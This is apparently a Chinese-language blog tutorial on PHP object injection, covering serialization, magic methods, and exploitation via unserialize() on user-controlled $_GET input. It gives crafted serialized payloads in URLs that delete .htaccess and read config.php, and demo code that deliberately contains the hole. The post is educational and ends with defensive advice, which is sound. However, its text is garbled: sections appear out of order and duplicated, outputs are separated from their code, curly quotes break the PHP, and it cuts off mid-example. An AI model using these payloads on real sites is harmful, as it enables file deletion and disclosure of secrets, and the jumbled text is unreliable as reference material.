深入理解PHP对象注入

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0×00 背景

PHP对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

0x00 序列化函数

0×01 漏洞案例

如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress
3.6.1

Magento
1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

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serialize():返回带有变量类型和值的字符串

0×01 PHP类和对象

类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

<?php

class TestClass
{
    // A variable

    public $variable = 'This is a string';

    // A simple method

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量
variable。

如果想了解更多关于php面向对象编程的知识 请点:

unserialize():想要将已序列化的字符串变回 PHP 的值

0×02 php Magic方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如
__construct, __destruct, __toString, __sleep, __wakeup
和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor) __destruct
当一个对象被销毁时调用 (destructor) __
toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

<?php
    class TestClass
    {
    // 一个变量public $variable = 'This is a string';// 一个简单的方法

    public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
    echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
    echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
    return '__toString<br />';
    }
    }

    // 创建一个对象
    // __construct会被调用

    $object = new TestClass();

    // 创建一个方法
    // 'This is a string’ 这玩意会被输出

    $object->PrintVariable();

    // 对象被当作一个字符串
    // __toString 会被调用

    echo $object;

    // End of PHP script
    // php脚本要结束了, __destruct会被调用

    ?>

我们往里头放了三个 magic方法,__construct, __destruct和
__toString,你可以看出来,__construct在对象创建时调用,
__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击链接

测试代码:

0×03 php对象序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用
“serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化张什么样。

<?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有
20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

<?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $a  = $a;
      $this->b = $b;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
    $a = ‘hello’;
    $b = 123;
    $c = false;
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>
运行结果:

0×04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct)
是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者
unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup
magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 创建一个对象,会调用 __construct

$obj = new Test();

// 序列化一个对象,会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象,会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束,会调用 __destruct

?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

string ‘s:5:”hello”;’ (length=12)
string ‘i:123;’ (length=6)
string ‘b:0;’ (length=4)
string ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ (length=46)
string ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ (length=46)
序列化字符串格式: 变量类型:变量长度:变量内容 。

0×05 php对象注入

现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者
__destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

public function LogData($text) { 
    echo 'Log some data: ' . $text . '<br />'; 
    file_put_contents($this->filename, $text, FILE_APPEND); 
} 
// Destructor 删除日志文件 
public function __destruct() { 
    echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename);
} 
} ?>

某例子关于如何使用这个类

<?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Wujunze
链接:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
来源:wujunze.com

<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize”
值是我们可以注入的。

所以构造类似这样的东西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时
__destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用
__wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

如果序列化的是一个对象,序列化字符串格式为:

0×06 常见的注入点

先不谈 __wakeup 和
__destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo
$obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当对象被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// 允许对象作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

<?php$private_data = 'MAGIC';?>

ps:我希望这让你能够理解。

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

0×07 其他的利用方法

可能其他的一些magic函数海存在利用点:比如__call
会在对象调用不存在的函数时调用,__get 和
__set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

将上述结果反序列化输出,执行结果:

0×08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

string ‘hello’ (length=5)
int 123
boolean false
object(test)[1]
  public ‘a’ => null
  public ‘b’ => string ‘hellob’ (length=6)
object(test1)[1]
  public ‘a’ => string ‘hello’ (length=5)
  public ‘b’ => null
0x01 对象序列化

0×09 结论

虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数
sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用
unserialize() 恢复对象时, 将调用 wakeup()成员函数。

在serialize()函数执行时,会先检查类中是否定义了
sleep()函数,如果存在,则首先调用
sleep()函数,如果不存在,就保留序列字符串中的所有属性。

在unserialize()函数执行时,会先检查是否定义了 wakeup()函数。如果
wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

serialize()测试代码:

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
      
   
     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    serialize($d);
    serialize($e);
   
    var_dump($d);
    var_dump($e);
?>

执行结果:

b has changed b has changed
object(test)[1]
public ‘a’ => string ‘helloa’ (length=6)
public ‘b’ => string ‘hib’ (length=3)
object(test1)[2]
public ‘a’ => string ‘hello’ (length=5)
public ‘b’ => string ‘hib’ (length=3)
unserialize()测试代码:

class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
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     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
        $d = ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ ;
        $e = ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ ;
   
        var_dump(unserialize($d));
        var_dump(unserialize($e));

运行结果:

a has changed
object(test)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => string ‘hellob’ (length=6)
a has changed
object(test1)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => null
0x02 PHP序列化的利用

1、magic函数和序列化

参考: php对象注入

除了 sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。

Class File
 {
  function __construct($var,$file1,$file2){
   $this->var = $var;
   $this->file1 = $file1;
   $this->file2 = $file2;
   echo $this->var.’ and ‘.$this->file1.’ and
‘.$this->file2.’defined’;
  }
  function __destruct(){
   unlink(dirname(__FILE__) . ‘/’ . $this->file1);
   echo $this->file1.’deleted’;
  }
  function __toString(){
   return file_get_contents($this->file2);

  }

 }

// $file = new File(‘hello’,’123.txt’,’456.php’);
// var_dump(serialize($file));
echo
unserialize(‘O:4:”File”:3:{s:3:”var”;s:5:”hello”;s:5:”file1″;s:7:”123.txt”;s:5:”file2″;s:7:”456.php”;}’);
( construct()函数,在实例化一个对象时被调用,一般用来给属性赋值,
destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)

construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php,destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。

执行结果:

123.txtdeleted

查看源码:

<?php  echo 123; ?>123.txtdeleted

将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行
construct()函数,在 construct()中赋值的变量也是无效的。上述代码中
destruct()方法在在反序列化后,实例化对象结束后执行了,
tostring()函数在echo unserialize()处,也被执行了

如果说在当前页面中有request系列函数,那么就可以造成php对象注入:

2、三个白帽挑战赛第三期

是一道源码审计题,题目大致是sql注入结合序列化写入文件

部分源码也是在某个大神 博客
看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):

class Cache extends ArrayObject
{
  public $path;
  function __construct($path)
  {
    parent::__construct([],ArrayObject::STD_PROP_LIST |
ArrayObject::ARRAY_AS_PROPS);
    $this->path = $path;
    if(file_exists($path)){
      $this->cache =
unserialize(file_get_contents($this->path));
    }
  function offset(){
  //一些不知道干嘛用的代码
  }

  }

  function __destruct()
  {
    $cache = $this->serialize();
    file_put_contents($this->path, $cache);
   
  }

}

又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

include(‘cache.php’);
$cache = new Cache(‘path.txt’);

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